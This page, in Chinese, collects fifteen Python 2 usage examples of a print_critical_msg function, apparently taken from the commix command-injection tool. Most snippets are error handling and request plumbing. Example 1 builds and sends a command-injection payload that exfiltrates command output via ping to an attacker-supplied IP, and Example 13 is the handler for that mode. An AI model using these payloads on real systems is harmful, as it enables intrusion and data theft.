本文整理汇总了Python中src.utils.settings.print_critical_msg函数的典型用法代码示例。如果您正苦于以下问题:Python print_critical_msg函数的具体用法?Python print_critical_msg怎么用?Python print_critical_msg使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了print_critical_msg函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: cmd_exec
def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src):
global add_new_line
# ICMP exfiltration payload.
payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Executing the '" + cmd + "' command... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
if http_request_method == "GET":
url = url.replace(settings.INJECT_TAG, "")
data = payload.replace(" ", "%20")
req = url + data
else:
values = {vuln_parameter:payload}
data = urllib.urlencode(values)
req = urllib2.Request(url=url, data=data)
try:
sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n")
response = urllib2.urlopen(req)
time.sleep(3)
sys.stdout.write(Style.RESET_ALL)
if add_new_line:
print "\n"
add_new_line = True
else:
print ""
except urllib2.HTTPError, err_msg:
print settings.print_critical_msg(str(err_msg.code))
raise SystemExit()
示例2: get_request_response
def get_request_response(request):
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
response = False
elif settings.IGNORE_ERR_MSG == False:
err = str(err_msg) + "."
if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
print ""
if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
print ""
print settings.print_critical_msg(err)
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
response = False
except urllib2.URLError, err_msg:
if "Connection refused" in err_msg.reason:
err_msg = "The target host is not responding. "
err_msg += "Please ensure that is up and try again."
if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
print ""
if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
print ""
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例3: do_check
def do_check(url):
check_proxy = True
info_msg = "Testing proxy " + menu.options.proxy + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
# Check if defined extra headers.
headers.do_check(request)
request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL)
try:
check = urllib2.urlopen(request)
except urllib2.HTTPError, error:
check = error
except:
check_proxy = False
pass
if check_proxy == True:
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "Could not connect to proxy."
print settings.print_critical_msg(err_msg)
sys.exit(0)
示例4: injection_point_importation
def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable):
try:
conn = sqlite3.connect(settings.SESSION_FILE)
conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \
"(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \
"shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\
"TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\
"timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);")
conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\
"shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\
"url_time_response, timesec, how_long, output_length, is_vulnerable) "\
"VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \
(str(url), str(technique), str(injection_type), \
str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \
str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \
int(url_time_response), int(timesec), int(how_long), \
int(output_length), str(is_vulnerable)))
conn.commit()
conn.close()
if settings.INJECTION_CHECKER == False:
settings.INJECTION_CHECKER = True
except sqlite3.OperationalError, err_msg:
err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "."
err_msg += " You are advised to rerun with switch '--flush-session'."
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例5: authentication_process
def authentication_process():
try:
auth_url = menu.options.auth_url
auth_data = menu.options.auth_data
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
request = opener.open(urllib2.Request(auth_url))
cookies = ""
for cookie in cj:
cookie_values = cookie.name + "=" + cookie.value + "; "
cookies += cookie_values
if len(cookies) != 0 :
menu.options.cookie = cookies.rstrip()
if settings.VERBOSITY_LEVEL >= 1:
success_msg = "The received cookie is "
success_msg += menu.options.cookie + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
urllib2.install_opener(opener)
request = urllib2.Request(auth_url, auth_data)
# Check if defined extra headers.
headers.do_check(request)
#headers.check_http_traffic(request)
# Get the response of the request.
response = urllib2.urlopen(request)
return response
except urllib2.HTTPError, err_msg:
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例6: get_request_response
def get_request_response(request):
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err_msg:
if settings.IGNORE_ERR_MSG == False:
err_msg = str(err_msg) + "."
if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \
settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None:
print ""
print settings.print_critical_msg(err_msg)
continue_tests = checks.continue_tests(err)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
response = False
except urllib2.URLError, err_msg:
err_msg = str(err_msg.reason).split(" ")[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False:
print ""
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例7: do_POST_check
def do_POST_check(parameter):
http_request_method = "POST"
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
parameter = checks.wildcard_character(parameter).replace("'","\"")
# Check if JSON Object.
if checks.is_JSON_check(parameter):
if not settings.IS_JSON:
checks.process_json_data()
settings.PARAMETER_DELIMITER = ","
# Check if XML Object.
elif checks.is_XML_check(parameter):
if not settings.IS_XML:
checks.process_xml_data()
settings.PARAMETER_DELIMITER = ""
else:
pass
parameters_list = []
# Split multiple parameters
if settings.IS_XML:
_ = []
parameters = re.findall(r'(.*)', parameter)
parameters = [param + "\n" for param in parameters if param]
for value in range(0,len(parameters)):
_.append(parameters[value])
multi_parameters = _
else:
try:
multi_parameters = parameter.split(settings.PARAMETER_DELIMITER)
multi_parameters = [x for x in multi_parameters if x]
except ValueError, err_msg:
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例8: is_empty
def is_empty(multi_parameters, http_request_method):
provided_value = []
multi_params = [s for s in multi_parameters]
for empty in multi_params:
try:
if settings.IS_JSON:
if re.findall(r'\:\"(.*)\"', empty)[0] == "":
provided_value.append(re.findall(r'\"(.*)\"\:\"', empty)[0])
elif settings.IS_XML:
if re.findall(r'>(.*)<', empty)[0] == "" or \
re.findall(r'>(.*)<', empty)[0] == " ":
provided_value.append(re.findall(r'</(.*)>', empty)[0])
elif len(empty.split("=")[1]) == 0:
provided_value.append(empty.split("=")[0])
except IndexError:
if not settings.IS_XML:
err_msg = "No parameter(s) found for testing in the provided data."
print settings.print_critical_msg(err_msg)
raise SystemExit()
provided_value = ", ".join(provided_value)
if len(provided_value) > 0:
if menu.options.skip_empty and len(multi_parameters) > 1:
skip_empty(provided_value, http_request_method)
else:
warn_msg = "The provided value"+ "s"[len(provided_value.split(",")) == 1:][::-1]
warn_msg += " for "+ http_request_method + " parameter" + "s"[len(provided_value.split(",")) == 1:][::-1]
warn_msg += " '" + provided_value + "'"
warn_msg += (' are ', ' is ')[len(provided_value.split(",")) == 1] + "empty. "
warn_msg += "Use valid "
warn_msg += "values to run properly."
print settings.print_warning_msg(warn_msg)
return True
示例9: warning_detection
def warning_detection(url, http_request_method):
try:
# Find the host part
url_part = url.split("=")[0]
request = urllib2.Request(url_part)
# Check if defined extra headers.
headers.do_check(request)
response = requests.get_request_response(request)
if response:
response = urllib2.urlopen(request)
html_data = response.read()
err_msg = ""
if "eval()'d code" in html_data:
err_msg = "'eval()'"
if "Cannot execute a blank command in" in html_data:
err_msg = "execution of a blank command,"
if "sh: command substitution:" in html_data:
err_msg = "command substitution"
if "Warning: usort()" in html_data:
err_msg = "'usort()'"
if re.findall(r"=/(.*)/&", url):
if "Warning: preg_replace():" in html_data:
err_msg = "'preg_replace()'"
url = url.replace("/&","/e&")
if "Warning: assert():" in html_data:
err_msg = "'assert()'"
if "Failure evaluating code:" in html_data:
err_msg = "code evaluation"
if err_msg != "":
warn_msg = "A failure message on " + err_msg + " was detected on page's response."
print settings.print_warning_msg(warn_msg)
return url
except urllib2.HTTPError, err_msg:
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例10: do_check
def do_check(url):
check_proxy = True
try:
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Setting the HTTP proxy for all HTTP requests... "
print settings.print_info_msg(info_msg)
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
# Check if defined extra headers.
headers.do_check(request)
request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME)
try:
check = urllib2.urlopen(request)
except urllib2.HTTPError, error:
check = error
except:
check_proxy = False
pass
if check_proxy == True:
pass
else:
err_msg = "Unable to connect to the target URL or proxy ("
err_msg += menu.options.proxy
err_msg += ")."
print settings.print_critical_msg(err_msg)
raise SystemExit()
示例11: application_identification
def application_identification(server_banner, url):
found_application_extension = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target application ... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
root, application_extension = splitext(urlparse(url).path)
settings.TARGET_APPLICATION = application_extension[1:].upper()
if settings.TARGET_APPLICATION:
found_application_extension = True
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
success_msg = "The target application was identified as "
success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
# Check for unsupported target applications
for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if not found_application_extension:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "Heuristics have failed to identify target application."
print settings.print_warning_msg(warn_msg)
示例12: http_auth_err_msg
def http_auth_err_msg():
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")"
err_msg += " or use the '--ignore-401' option to ignore HTTP error 401 (Unauthorized)"
err_msg += " and continue tests without providing valid credentials."
print settings.print_critical_msg(err_msg)
sys.exit(0)
示例13: icmp_exfiltration_handler
def icmp_exfiltration_handler(url, http_request_method):
# You need to have root privileges to run this script
if os.geteuid() != 0:
err_msg = "You need to have root privileges to run this option."
print settings.print_critical_msg(err_msg) + "\n"
os._exit(0)
if http_request_method == "GET":
#url = parameters.do_GET_check(url)
vuln_parameter = parameters.vuln_GET_param(url)
request = urllib2.Request(url)
headers.do_check(request)
else:
parameter = menu.options.data
parameter = urllib2.unquote(parameter)
parameter = parameters.do_POST_check(parameter)
request = urllib2.Request(url, parameter)
headers.do_check(request)
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err_msg:
if settings.IGNORE_ERR_MSG == False:
print "\n" + settings.print_critical_msg(err_msg)
continue_tests = checks.continue_tests(err)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
os._exit(0)
示例14: no_readline_module
def no_readline_module():
err_msg = "It seems that your platform does "
err_msg += "not have GNU 'readline' module installed."
err_msg += " Download the"
if settings.IS_WINDOWS:
err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)."
else:
err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)."
print settings.print_critical_msg(err_msg)
示例15: execute_shell
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The " + os_shell_option.split("_")[0] + " "
err_msg += os_shell_option.split("_")[1].upper() + " connection has failed!"
print settings.print_critical_msg(err_msg)